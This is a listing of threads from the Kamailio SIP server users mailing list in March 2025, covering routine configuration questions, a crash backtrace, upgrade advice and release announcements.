Hello, I encountered a problem that ds_select_domain function does not save URI parameters. I found workaround: if (!ds_select_domain( "1", 4, 3 )) { send_reply("502", "Bad Gateway"); exit; } if (!strempty($(ou{uri.params}))) { $ru = $ru+";"+$(ou{uri.params}); } But this can lead to duplicates if the URI in the dispatcher list contains the same parameter. Is there any other reliable way to keep original URI parameters while using the dispatcher? Thanks

2 1

send_fd(): sendmsg failed sending 55 on 52: Too many references: cannot splice (109)
by Mathias Schneuwly 20 Mar '25

20 Mar '25

Hi We are using kamailio 5.8.4. Recently, we noticed, that after a few days, we see the following messages from Kamailio `2025 Mar 17 10:22:11 ttel CRITICAL: <core> [core/pass_fd.c:193]: send_fd(): sendmsg failed sending 55 on 52: Too many references: cannot splice (109)`. When this happens, devices are no longer able to register. At the moment we have no idea what might be wrong. Unfortunately, the internet does not reveal much information regarding this issue. In one issue related to Kamailio ( https://lists.kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio…), I found the command `kamctl trap` and when I execute that, I see one issue, which might be related, but I'm just guessing... ``` ---start 1782236 ----------------------------------------------------- [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". 0x00007fa14c9fb1c6 in ?? () from /usr/lib/libc.so.6 $1 = 26 $2 = {pid = 1782236, unix_sock = 36, idx = 0, status = 1, rank = 17, desc = "tcp receiver (generic) child=0", '\000' <repeats 97 times>} #0 0x00007fa14c9fb1c6 in ?? () from /usr/lib/libc.so.6 No symbol table info available. #1 0x00007fa14ca04830 in pthread_rwlock_wrlock () from /usr/lib/libc.so.6 No symbol table info available. #2 0x00007fa14ac20b49 in CRYPTO_THREAD_write_lock () from /usr/lib/libcrypto.so.3 No symbol table info available. #3 0x00007fa14adbd5da in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #4 0x00007fa14adbd9ca in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #5 0x00007fa14adbc907 in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #6 0x00007fa14adbd26c in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #7 0x00007fa14adbd68e in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #8 0x00007fa14abe75c6 in ?? () from /usr/lib/libcrypto.so.3 No symbol table info available. #9 0x00007fa14abe840b in EVP_RAND_generate () from /usr/lib/libcrypto.so.3 No symbol table info available. #10 0x00007fa14acf9282 in RAND_bytes_ex () from /usr/lib/libcrypto.so.3 No symbol table info available. #11 0x00007fa14b06cce8 in ?? () from /usr/lib/libssl.so.3 No symbol table info available. #12 0x00007fa14b05bdf7 in ?? () from /usr/lib/libssl.so.3 No symbol table info available. #13 0x00007fa14b0ef036 in tls_accept (c=c@entry=0x7fa1475c0dc0, error=error@entry=0x7ffebd9443b8) at tls_server.c:457 ret = <optimized out> ssl = warning: could not convert 'ssl_st' from the host encoding (ANSI_X3.4-1968) to UTF-32. This normally should not happen, please file a bug report. 0x7fa147668bd0 cert = <optimized out> tls_c = 0x7fa14768f490 tls_log = <optimized out> __func__ = "tls_accept" #14 0x00007fa14b0f7540 in tls_h_read_f (c=0x7fa1475c0dc0, flags=0x7ffebd9647d0) at tls_server.c:1153 r = 0x7fa1475c0ee8 bytes_free = 16383 bytes_read = <optimized out> read_size = <optimized out> ssl_error = 0 ssl_read = 0 ssl = 0x7fa147668bd0 rd_buf = "\026\003\003\004\016\v\000\004\n\000\004\a\000\004\0040\202\004\0000\202\002\350\240\003\002\001\002\002\002\026\0270\r\006\t*\206H\206\367\r\001\001\v\005\0000b1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003U\004\b\f\004Bern1\r0\v\006\003U\004\a\f\004Bern1\r0\v\006\003U\004\n\f\004RUAG1\0200\016\006\003U\004\v\f\aDefence1\0240\022\006\003U\004\003\f\versaimfs.ch0\036\027\r230302163519Z\027\r291230163519Z0`1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003"... wr_buf = "\026\003\003\000A\002\000\000=\003\003\371\204\326\361\262-9\300\344gV\2316\373\235D\314\225u8\v}\215\254DOWNGRD\001\000\3000\000\000\025\377\001\000\001\000\000\v\000\004\003\000\001\002\000#\000\000\000\027\000\000\026\003\003\a\267\v\000\a\263\000\a\260\000\004\0040\202\004\0000\202\002\350\240\003\002\001\002\002\002\r>0\r\006\t*\206H\206\367\r\001\001\v\005\0000b1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003U\004\b\f\004Bern1\r0\v\006\003U\004\a\f\004Bern1\r0\v\006\003U\004\n\f\004RUAG1\0200\016\006\003U\004\v\f\aDefence1\0240\022\006"... rd = {buf = 0x7ffebd944480 "\026\003\003\004\016\v", pos = 1405, used = 1405, size = 65536} wr = {buf = 0x7ffebd954480 "\026\003\003", pos = 0, used = 0, size = 65536} tls_c = 0x7fa14768f490 enc_rd_buf = <optimized out> n = 0 flush_flags = 0 err_src = <optimized out> ip_buf = '\000' <repeats 63 times> x = <optimized out> tls_dbg = <optimized out> __func__ = "tls_h_read_f" redo_read = <optimized out> continue_ssl_read = <optimized out> __llevel = <optimized out> __kld = <optimized out> __llevel = <optimized out> __kld = <optimized out> #15 0x000055d2519871b4 in tcp_read_headers (c=c@entry=0x7fa1475c0dc0, read_flags=read_flags@entry=0x7ffebd9647d0) at core/tcp_read.c:445 bytes = <optimized out> remaining = <optimized out> p = <optimized out> r = 0x7fa1475c0ee8 mc = <optimized out> body_len = <optimized out> tvnow = {tv_sec = 1742100857, tv_usec = 944923} tvdiff = <optimized out> mfline = <optimized out> mtransid = <optimized out> __func__ = "tcp_read_headers" #16 0x000055d251989cef in tcp_read_req (con=0x7fa1475c0dc0, bytes_read=bytes_read@entry=0x7ffebd9647c8, read_flags=read_flags@entry=0x7ffebd9647d0) at core/tcp_read.c:1509 bytes = <optimized out> total_bytes = 0 resp = 1 size = <optimized out> req = 0x7fa1475c0ee8 dst = {send_sock = 0x55d251a91020, to = {s = {sa_family = 52024, sa_data = "\257Q\322U\000\000\002\000\000\000\376\177\000"}, sin = {sin_family = 52024, sin_port = 20911, sin_addr = {s_addr = 21970}, sin_zero = "\002\000\000\000\376\177\000"}, sin6 = {sin6_family = 52024, sin6_port = 20911, sin6_flowinfo = 21970, sin6_addr = {__in6_u = {__u6_addr8 = "\002\000\000\000\376\177\000\000\030\000\000\000\000\000\000", __u6_addr16 = {2, 0, 32766, 0, 24, 0, 0, 0}, __u6_addr32 = {2, 32766, 24, 0}}}, sin6_scope_id = 0}, sas = {ss_family = 52024, __ss_padding = "\257Q\322U\000\000\002\000\000\000\376\177\000\000\030", '\000' <repeats 23 times>, "\001\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\262+\226Q\001 \000\000\200,5L\241\177\000\000 \020\251Q\322U\000\000 \020\251Q\322U\000\000\200\303\257Q\322U\000\00009SG\241\177\000\000\330G\226\275\376\177\000\000\b\000\000\000\000\000\000", __ss_align = 20}}, id = 1, send_flags = {f = 1, blst_imask = 0}, proto = 14 '\016', proto_pad0 = 0 '\000', proto_pad1 = 0} c = <optimized out> ret = <optimized out> again = <optimized out> __func__ = "tcp_read_req" #17 0x000055d25198ebec in handle_io (fm=fm@entry=0x7fa14c352c80, events=events@entry=1, idx=idx@entry=-1) at core/tcp_read.c:1906 ret = 8 n = 0 read_flags = RD_CONN_SHORT_READ con = 0x7fa1475c0dc0 s = 14 resp = <optimized out> t = <optimized out> ee = 0x0 __func__ = "handle_io" error = <optimized out> #18 0x000055d25199469b in io_wait_loop_epoll (repeat=repeat@entry=0, t=2, h=0x55d251c49d60 <io_w>) at core/io_wait.h:1075 n = 1 r = 0 fm = 0x7fa14c352c80 revents = 1 __func__ = "io_wait_loop_epoll" #19 0x000055d251994e87 in tcp_receive_loop (unix_sock=<optimized out>) at core/tcp_read.c:2026 __func__ = "tcp_receive_loop" #20 0x000055d25197e72c in tcp_init_children (woneinit=woneinit@entry=0x7ffebd964d1c) at core/tcp_main.c:5391 r = <optimized out> i = <optimized out> reader_fd_1 = 39 pid = <optimized out> si_desc = "tcp receiver (generic)\000\000`M\226\275\376\177\000\000\001\000\000\000\000\000\000\000\210\035\223Q\322U\000\000 \020\251Q\322U\000\000\220\315\257Q\322U\000\000\220\242/L\241\177\000\000\025\000\000\000\000\000\000\000\004\000\000\000\000\000\000\000%\020\251Q\322U\000\000HU\257Q\322U\000\000e\005\000\000\000\000\000\000 \020\251Q\322U\000\000\3750\235Q\322U\000" si = <optimized out> __func__ = "tcp_init_children" error = <optimized out> #21 0x000055d2517c6c7e in main_loop () at main.c:1950 i = <optimized out> pid = <optimized out> si = <optimized out> si_desc = "udp receiver child=7 sock=10.0.90.1:5060\000\000\000\000\322U\000\000?\342\017K\241\177\000\000\022\000\000\000\377\377\377\377\200\006\265L\241\177\000\000\253m\237L\241\177\000\000\361|\003\000\000\000\000\000\t\000\000\000\000\000\000\000Sat Mar 15 05:25:32 2025\n\000\264L\241\177\000" nrprocs = <optimized out> woneinit = 1 __func__ = "main_loop" error = <optimized out> #22 0x000055d2517bc151 in main (argc=<optimized out>, argv=<optimized out>) at main.c:3256 cfg_stream = <optimized out> c = <optimized out> r = <optimized out> tmp = 0x7ffebd966e7f "" tmp_len = 32673 port = 5060 proto = 0 aproto = 0 ahost = 0x0 aport = 0 options = 0x55d251aa74b8 ":f:cm:M:dVIhEeb:B:l:L:n:vKrRDTN:W:w:t:u:g:P:G:SQ:O:a:A:x:X:Y:" ret = -1 seed = 3209119183 rfd = <optimized out> debug_save = <optimized out> debug_flag = <optimized out> dont_fork_cnt = 0 n_lst = <optimized out> p = <optimized out> st = {st_dev = 24, st_ino = 46237, st_nlink = 2, st_mode = 16888, st_uid = 899, st_gid = 899, __pad0 = 0, st_rdev = 0, st_size = 40, st_blksize = 4096, st_blocks = 0, st_atim = {tv_sec = 1742012732, tv_nsec = 217328715}, st_mtim = {tv_sec = 1742012732, tv_nsec = 217328715}, st_ctim = {tv_sec = 1742012732, tv_nsec = 217328715}, __glibc_reserved = {0, 0, 0}} l1 = <optimized out> tbuf = '\000' <repeats 32 times>, "\030\202\237\275\376\177\000\000@ \002\000\000@\003\000\000\001", '\000' <repeats 23 times>, "@\003\000\000@ \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@\003", '\000' <repeats 11 times>, "\001", '\000' <repeats 118 times>... option_index = 12 long_options = {{name = 0x55d251a9230b "help", has_arg = 0, flag = 0x0, val = 104}, {name = 0x55d251a937a4 "version", has_arg = 0, flag = 0x0, val = 118}, {name = 0x55d251a9826a "alias", has_arg = 1, flag = 0x0, val = 1024}, {name = 0x55d251a92310 "subst", has_arg = 1, flag = 0x0, val = 1025}, {name = 0x55d251a92316 "substdef", has_arg = 1, flag = 0x0, val = 1026}, {name = 0x55d251a9231f "substdefs", has_arg = 1, flag = 0x0, val = 1027}, {name = 0x55d251a92329 "server-id", has_arg = 1, flag = 0x0, val = 1028}, {name = 0x55d251a92333 "loadmodule", has_arg = 1, flag = 0x0, val = 1029}, {name = 0x55d251a9233e "modparam", has_arg = 1, flag = 0x0, val = 1030}, {name = 0x55d251a92347 "log-engine", has_arg = 1, flag = 0x0, val = 1031}, {name = 0x55d251a938c1 "debug", has_arg = 1, flag = 0x0, val = 1032}, {name = 0x55d251a92352 "cfg-print", has_arg = 0, flag = 0x0, val = 1033}, {name = 0x55d251a9235c "atexit", has_arg = 1, flag = 0x0, val = 1034}, {name = 0x55d251a92363 "all-errors", has_arg = 0, flag = 0x0, val = 1035}, {name = 0x0, has_arg = 0, flag = 0x0, val = 0}} __func__ = "main" [Inferior 1 (process 1782236) detached] ---end 1782236 ------------------------------------------------------- ``` Does anybody have an idea what this could be? I never saw that with previous versions, and now we can see it on several instances, but we are yet unable to reproduce. Not sure if this might be related, but we also see many messages like `Mar 17 13:39:03 ttel /usr/sbin/kamailio[2882127]: CRITICAL: <core> [core/tcp_main.c:5558]: tcp_timer_check_connections(): message processing timeout on connection id: 402 (state: 0) - closing` Best regards Mathias

2 6

Kamailio v5.8.6 Released
by Daniel-Constantin Mierla 20 Mar '25

20 Mar '25

Hello, Kamailio SIP Server v5.8.6 stable release is out. This is a maintenance release of the latest stable branch, 5.8, that includes fixes since the release of v5.8.5. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.8.x. Deployments running previous v5.8.x versions are strongly recommended to be upgraded to v5.8.6. For more details about version 5.8.6 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2025/03/kamailio-v5-8-6-released/ RPM, Debian/Ubuntu packages will be available soon as well. Note that 5.8.x is currently the previous stable release series, the latest is 6.0.x and v6.0.1 was released on March 10, 2025. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com Kamailio Advanced Training, March 24-28, 2025 -- asipto.com Kamailio World Conference, May 12-13, 2025, Berlin -- kamailioworld.com

1 0

Releasing v5.8.6
by Daniel-Constantin Mierla 20 Mar '25

20 Mar '25

Hello, I am considering to release Kamailio v5.8.6 (out of branch 5.8) on Thursday, March 20, 2025. If anyone is aware of issues not yet on the bug tracker, report them there asap in order to have a better chance to be fixed. The most of the commits are backported, should any be found missing, reply to sr-dev mailing list. Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com Kamailio Advanced Training, March 24-28, 2025 -- asipto.com Kamailio World Conference, May 12-13, 2025, Berlin -- kamailioworld.com

1 1

Issue with async_cdp_callback() of MAR diameter message
by Minello, Loredana 18 Mar '25

18 Mar '25

Hello, I have an issue during the registration phase with the Diameter MAR procedure. The issue is as follows: 1. I perform a registration. 2. The MAR is correctly sent using the function: ims_www_challenge("REG_MAR_REPLY", "$var(auth_realm)"); 3. Upon receiving the MAA, after executing async_cdp_callback(), the execution does not return to the Kamailio reply route indicated (REG_MAR_REPLY). I tried replacing t_continue with t_continue_skip_timer in the async_cdp_callback() function of the MAR (see below), and everything works correctly. //tmb.t_continue(data->tindex, data->tlabel, data->act); tmb.t_continue_skip_timer(data->tindex, data->tlabel, data->act); free_saved_transaction_data(data); return; Note: When I send the SAR, I do not have this issue, but I noticed that in the corresponding async_cdp_callback(), the t_continue_skip_timer function is used. Do you think the modification I made to async_cdp_callback() for the MAR is correct? Why does t_continue not work? Thanks.

1 0

dispatcher not distributing well?
by David Villasmil 17 Mar '25

17 Mar '25

Hello guys, i have a kamilio with a dispatcher list in db like +------------------------------------------------+----------------------------------------------+----------------------------+ | id | setid | destination | flags | priority | attrs | description | register_datetime | +------+-------+---------------------+-------+----------+------------------------------+---------------+---------------------+ | 3239 | 430 | sip:gateway-08:5080 | 0 | 10 | duid=gateway-08;weight=50 | gateway-08 | 2023-03-21 00:19:44 | | 3246 | 430 | sip:gateway-11:5080 | 0 | 10 | duid=gateway-11;weight=50 | gateway-11 | 2023-05-15 23:00:28 | | 3247 | 430 | sip:gateway-12:5080 | 0 | 10 | duid=gateway-12;weight=50 | gateway-12 | 2023-05-15 23:06:57 | | 3249 | 430 | sip:gateway-14:5080 | 0 | 10 | duid=gateway-14;weight=50 | gateway-14 | 2023-05-15 23:24:44 | | 3276 | 430 | sip:gateway-15:5080 | 0 | 10 | duid=gateway-15;weight=50 | gateway-15 | 2024-05-01 19:43:19 | | 3277 | 430 | sip:gateway-16:5080 | 0 | 10 | duid=gateway-16;weight=50 | gateway-16 | 2024-05-01 19:51:16 | | 3278 | 430 | sip:gateway-1:5080 | 0 | 10 | duid=gateway-17;weight=50 | gateway-17 | 2024-05-01 19:58:13 | | 3279 | 430 | sip:gateway-17:5080 | 0 | 10 | duid=gateway-18;weight=50 | gateway-18 | 2024-05-01 20:06:44 | | 3280 | 430 | sip:gateway-3:5080 | 0 | 10 | duid=gateway-19;weight=50 | gateway-19 | 2024-05-01 20:14:50 | | 3281 | 430 | sip:gateway-2:5080 | 0 | 10 | duid=gateway-20;weight=50 | gateway-20 | 2024-05-01 20:23:25 | +------+-------+---------------------+-------+----------+------------------------------+---------------+---------------------+ and i'm dispatching with if(!ds_select_dst("$var(dispatcher_id)", "10")) { xlog("[DISPATCH]: ds_select_dst FAILED!'\n"); send_reply("404", "No destination"); exit; } still kamailio isn't distributing at all but for some reason is favoring high-description gateways: kamctl rpc dlg.list 5 gateway-20:5080;transport=udp" 2 gateway-19:5080;transport=udp" it's forwarding calls mostly to gateway-20, gateway-19, gateway-18, gateway-17... in descending order... Why is kamailio doing that? i'd expected it to distribute to all based on the call load on each gateway. Thanks all! Regards, David Villasmil email: david.villasmil.work(a)gmail.com

3 4

Recommendations for paid work
by Anthony Ford 14 Mar '25

14 Mar '25

Hi Can anyone recommend someone that can help us upgrade our 2 Kamailio servers please. After several failed attempts to do this ourselves, it is time to call in the professionals. 5.6.0-dev to the latest The current set up is 2 servers working in tandem, redis and mysql plus nebula. We do have a test server also attached, that can be used for testing. Thanks Tony

6 5

add_contact_alias modifies only one Contact address
by James Browne 13 Mar '25

13 Mar '25

- https://kamailio.org/docs/modules/5.8.x/modules/nathelper.html#nathelper.f.… This add_contact_alias() function changes only the first Contact address in a REGISTER request, even though it's normal (RFC3261, 10.2) for a REGISTER to have multiple Contact addresses. This seems to me to be a kamailio bug. For example, a user might remove one binding while adding a second, in a REGISTER request. If kamailio relays this while adding an alias to only the expires=0 binding, then the new binding may be stored incorrectly in the registrar. James

2 4

Server selecting TCP transport
by Jon Bonilla (Manwe) 13 Mar '25

13 Mar '25

Hi all Using 5.8.4 I have a trunk with a permanent registration created by rpc in the location table. It looks like this: kamcmd> ul.lookup location sbc.mydomain.com { AoR: sbc.mydomain.com Contacts: { Contact: { Address: sip:xxx@sbc.mydomain.com Expires: -102739 Q: 1 Call-ID: dfjrewr12386fd6-343(a)kamailio.rpc CSeq: 1 User-Agent: kamailio SIP Router - RPC Server Received: [not set] Path: <sip:192.168.255.202:5060;lr> State: CS_SYNC Flags: 0 CFlags: 0 Socket: [not set] Methods: 0 Ruid: ulcx-67c9e2ff-19f8-1 Instance: [not set] Reg-Id: 0 Server-Id: 0 Tcpconn-Id: -1 Keepalive: 0 Last-Keepalive: 1741899218 KA-Roundtrip: 0 Last-Modified: 0 } } } In this situation the proxy sends the request to 192.168.255.202 which is a kamailio load balancer which is responsible for sending the call to the customer. The problem is that kamailio, when relaying this request, first performs TCP srv lookup and tries to send the request via TCP. There's no transport=tcp in the address. The lb's dns settings are: dns_try_ipv6=no dns_retr_time=1 dns_retr_no=1 dns_use_search_list=no use_dns_cache=on use_dns_failover=on dns_srv_lb=on dns_try_naptr=no dns_sctp_pref=1 dns_tcp_pref=1 dns_tls_pref=1 dns_udp_pref=1 Seems like this kamailio tries TCP SRV first, and then TLS and then UDP if the previous doesn't bring results. But no NAPTR is enabled. I don't know why it will choose TCP over UDP in this case. -- PekePBX, the multitenant PBX solution https://pekepbx.com

1 0

SDP Truncation When Relaying from WebSocket to UDP – Expected Behavior?
by Pavan Kumar 13 Mar '25

13 Mar '25

Hello Kamailio Community, I recently encountered an interesting behavior when using Kamailio to relay SIP messages from a WebSocket client to FreeSWITCH over UDP. *Observed Behavior:* - The WebSocket client sends an *INVITE* with a large SDP. - Kamailio forwards this request over UDP to FreeSWITCH. - Upon inspection, the *SDP in the relayed message appears truncated*. (Probably MTU limit) - *Surprisingly, the call still establishes successfully*, and there are no noticeable issues with audio or call setup. *My Questions:* 1. *Is this expected behavior?* Should Kamailio automatically truncate SDP when relaying from WebSocket to UDP? 2. *Could this be working accidentally?* For example, is FreeSWITCH handling the partial SDP gracefully by default? 3. *Should I be concerned about potential failures in different scenarios?* (e.g., ICE candidate loss, missing codec negotiation) I would appreciate any insights from the community on whether this is a known or expected behavior in Kamailio, or if it might be a configuration issue. Thanks in advance for your help! Best regards, Pavan Kumar

4 5

Need help using Kamailio IMS and Open5GS for 5G core
by Pete Kay 13 Mar '25

13 Mar '25

Hi I am able to compile Kamailio IMS and Open5GS. The instruction in https://open5gs.org/open5gs/docs/tutorial/02-VoLTE-setup/ is for 4G using Diameter. For 5G, we need to use HTTP protocol. Does anyone know if there is any guide on how to configure Kamailio IMS and Open5GS on 5G core using HTTP protocol for PCRF ? Thanks for millions for all your help. Pete

2 1

Re: upgrading process
by Anthony Ford 12 Mar '25

12 Mar '25

Thanks Ben Really appreciate your response Tony From: Ben Kaufman via sr-users <sr-users(a)lists.kamailio.org> Reply to: "Kamailio (SER) - Users Mailing List" <sr-users(a)lists.kamailio.org> Date: Wednesday, 12 March 2025 at 16:20 To: "sr-users(a)lists.kamailio.org" <sr-users(a)lists.kamailio.org> Cc: Ben Kaufman <bkaufman(a)bcmone.com> Subject: [SR-Users] Re: upgrading process Luckily there usually aren't a lot of breaking changes in Kamailio updates, and config files are mostly back compatible. That doesn't mean that there are never changes, but it does mean that the number of issues to resolve is usually small. * wanted to know if I can run make install on every iteration i.e. 5.6.1, the 5.6.2 etc There shouldn't really be any changes needed to config for the patch/fix versions like that (third decimal place) so those should be fine (and is good practice if you're not able to quickly update to a supported version for any reason), but it shouldn't be necessary to touch every incremental version to upgrade Kamailio. Every major release has an upgrade guide from the pervious version, so in your case: * 5.6 to 5.7: https://www.kamailio.org/wikidocs/install/upgrade/5.6.x-to-5.7.0/ * 5.7 to 5.8: https://www.kamailio.org/wikidocs/install/upgrade/5.7.x-to-5.8.0/ * 5.8 to 6.0: https://www.kamailio.org/wikidocs/install/upgrade/5.8.x-to-6.0.0/ It still shouldn't be necessary to touch each individual version while upgrading. I'd recommend reading through these docs in order taking note of the following: * Look for potentially breaking changes in the core. I don't see any in those documents, but a good example would be if upgrading from 4.x to 5.x how fifo was deprecated. * Look for modules changes. Mostly you'll see things like new features which shouldn't be breaking. A few modules were deprecated/archived in 5.8 ( app_sqlang, and auth_identity). Sometimes modules have small breaking changes in them as well, for example in 6.0 the dialog module dropped support for the dlg_flag parameter. Check your kamailio configs to see if any of these listed changes will impact you. * Follow any DB upgrade changes. These are usually simple changes - things like adding an index to a column, or changing a varchar(n) datatype to be varchar(n+y) which won't break your existing config. Another reply correctly points out that you should watch for changes to the version table. This is possibly a situation where a conflict could arise: The version required for one table might be 1 in 5.6 and 2 in 6.0. It might be worth while to copy the existing version table to a new table (like version_60 for example), and use kamailio's version_table parameter to use the new version table on the updated config. (note: The upgrade guides don't show any table version changes, so you probably don't need to do this). Finally, as a recommendation, smoke test your config in docker. You might not have the container setup in a way to actually receive SIP messages, but "does the config file load correctly" is a nice thing to have resolved ahead of time. * Regards, Kaufman ________________________________ From: Anthony Ford via sr-users <sr-users(a)lists.kamailio.org> Sent: Wednesday, March 12, 2025 9:30 AM To: sr-users(a)lists.kamailio.org <sr-users(a)lists.kamailio.org> Cc: Anthony Ford <tony.ford(a)apalo.co.uk> Subject: [SR-Users] upgrading process CAUTION: This email originated from outside the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe. Hi I need some help please. I am very inexperienced with Kamailio, and am trying to work out how to upgrade without rewriting any of the current config. I am going from 5.6.0 to 6.0.0 and wanted to know if I can run make install on every iteration i.e. 5.6.1, the 5.6.2 etc. until I need to make a bigger step, and may have to change tables etc. In the document for upgrading 5.6.x to 5.7.x it says make change to Watch table, but I have no watch table. Very confused. Thanks Tony

1 0

CANCEL suspension and forking
by Alex Balashov 12 Mar '25

12 Mar '25

Hi, When a CANCEL is received and matches a known INVITE transaction, it is forked to all existing branches of that INVITE transaction, at least with these settings: modparam("tm", "cancel_b_method", 2) modparam("tm", "failure_reply_mode", 3) I have a mobile endpoint that is slow to be pushed awake and reregister, tsilo-style, and by the time it finally appears on the scene, the underlying INVITE transaction has been terminated. Accordingly, that endpoint receives no CANCEL. You might ask why that's a problem, if it also didn't receive a forked INVITE. The problem is that Apple's CallKit requires interactive presentation of VoIP APNS notifications as though they are "calls", leading to the phenomenon of what might be called "ghost calls" extrinsically to the actual mobile application. Anyway, I am aware of numerous possible solutions to this problem in principle; most involve sending an out-of-band SIP message to signify an alternative cancellation of the call. However, wonder if I am missing some best-practical approach, perhaps through an overlooked TM facility, or some way of keeping the transaction alive longer than the CANCEL from the UAC would ordinarily require? I don't see how that would work, but thought better to ask. Thanks! -- Alex -- Alex Balashov Principal Consultant Evariste Systems LLC Web: https://evaristesys.com Tel: +1-706-510-6800

3 4

upgrading process
by Anthony Ford 12 Mar '25

12 Mar '25

Hi I need some help please. I am very inexperienced with Kamailio, and am trying to work out how to upgrade without rewriting any of the current config. I am going from 5.6.0 to 6.0.0 and wanted to know if I can run make install on every iteration i.e. 5.6.1, the 5.6.2 etc. until I need to make a bigger step, and may have to change tables etc. In the document for upgrading 5.6.x to 5.7.x it says make change to Watch table, but I have no watch table. Very confused. Thanks Tony

3 3

Set TTL for skipped NAPTR record due to all IPs are unreachable
by Mathias Schneuwly 11 Mar '25

11 Mar '25

Hi I've a question regarding skipped NAPTR records. In our setup, we are using quite big DNS TTLs (860400). If there is an issue on the target server, the NAPTR record is marked as skipped "Mark to skip _sips._tcp.... NAPTR record due to all IPs are unreachable" until the TTL is expired. Since our TTLs are so big, the destination is no longer reachable during this time, even if the server is reachable again. I've seen that I can set "dns_cache_max_ttl" to reduce the time, but this is of course for all cached DNS records. Is there a way to set how long a NAPTR record is skipped or disable the feature at all? Or maybe skip the NAPTR only for the current dialog or transaction? Thanks for your help Best regards Mathias

2 7

Kamailio v6.0.1 Released
by Daniel-Constantin Mierla 10 Mar '25

10 Mar '25

Hello, Kamailio SIP Server v6.0.1 stable release is out. This is a maintenance release of the latest stable branch, 6.0, that includes fixes since the release of v6.0.1. There is no change to database schema or configuration language structure that you have to do on previous installations of v6.0.x. Deployments running previous v6.0.x versions are strongly recommended to be upgraded to v6.0.1. For more details about version 6.0.1 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2025/03/kamailio-v6-0-1-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com Kamailio Advanced Training, March 24-28, 2025 -- asipto.com Kamailio World Conference, May 12-13, 2025, Berlin -- kamailioworld.com

1 0

Releasing v6.0.1
by Daniel-Constantin Mierla 10 Mar '25

10 Mar '25

Hello, I am considering to release Kamailio v6.0.1 (out of branch 60) on Monday, March 10, 2025. If anyone is aware of issues not yet on the bug tracker, report them there asap in order to have a better chance to be fixed. Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com Kamailio Advanced Training, March 24-28, 2025 -- asipto.com Kamailio World Conference, May 12-13, 2025, Berlin -- kamailioworld.com

1 1

Kamailio with Presence Module and Publishing by Asterisk
by Ludovic GRANGE 05 Mar '25

05 Mar '25

Hi, I'm having a problem managing the presence between Kamailio and Asterisk. I have configured Kamailio as a presence server. Asterisk sends presence information via publishing sip request. My softphone which uses Kamailio as a presence server and as a proxy has 2 BLFs configured. On a first call, the presence status is displayed on the 2 keys. But for the 2nd call, only the extension receiving the call has its status changed on the BLF. Via sngrep, the Publishing requests arrive on Kamailio but the DB is not updated because the e-tag does not match. If I wait until the end of the expiry period (60s for the test), the DB is flushed and the 1st call works again. Could you please help me? Thank you Translated with DeepL.com (free version) -- Bien cordialement, Bande verticale Prosoluce Ludovic Grange Administrateur systèmes & réseaux Picto mailludovic.grange(a)prosoluce.fr <mailto:ludovic.grange@prosoluce.fr> Picto tél 05 31 61 62 25 <tel:+33531616225> Picto webwww.prosoluce.fr <https://www.prosoluce.fr> Logo Prosoluce

3 5

Best practices for proxy protocol and TLS offloading
by Alex Balashov 04 Mar '25

04 Mar '25

Hello, I am converting a Kamailio WSS/TLS gateway to pure TCP, with an external HAProxy handling TLS termination and emitting the proxied connection as plain TCP. I am using the PROXYv2 protocol, with `tcp_accept_haproxy=yes`, to convey the upstream network and transport-layer reachability info into Kamailio. I am trying to figure out best practices for mapping the contacts on those connections to the proxied connections themselves. For registrations, tcp_force_alias() (with `tcp_accept_aliases=yes`) works well, and inbound calls go to the right place. However, I'm not quite sure what to do with other flows, such as, for example, in-dialog requests on inbound calls going to the TLS endpoints. There are obviously a lot of possibilities, all or most of which I've tinkered with. These generally involve either {s.replace}-ing `;transport=tls` with `;transport=tcp` in the contacts received from the client, or using the traditional `nathelper` contact alias / RURI alias bag of tricks. However, I don't like the former solution because it leads to a non-compliant R-URI going to the endpoint (it's not the ;transport it sent in its contact), and I don't like the latter because it seems like there are too many moving parts. When tcp_force_alias() works so well for registrations, there must be some small linchpin I'm missing for normal request-reply flows. What is it? Thanks in advance! -- Alex -- Alex Balashov Principal Consultant Evariste Systems LLC Web: https://evaristesys.com Tel: +1-706-510-6800

2 4

Topos Module Questions
by David Tek 04 Mar '25

04 Mar '25

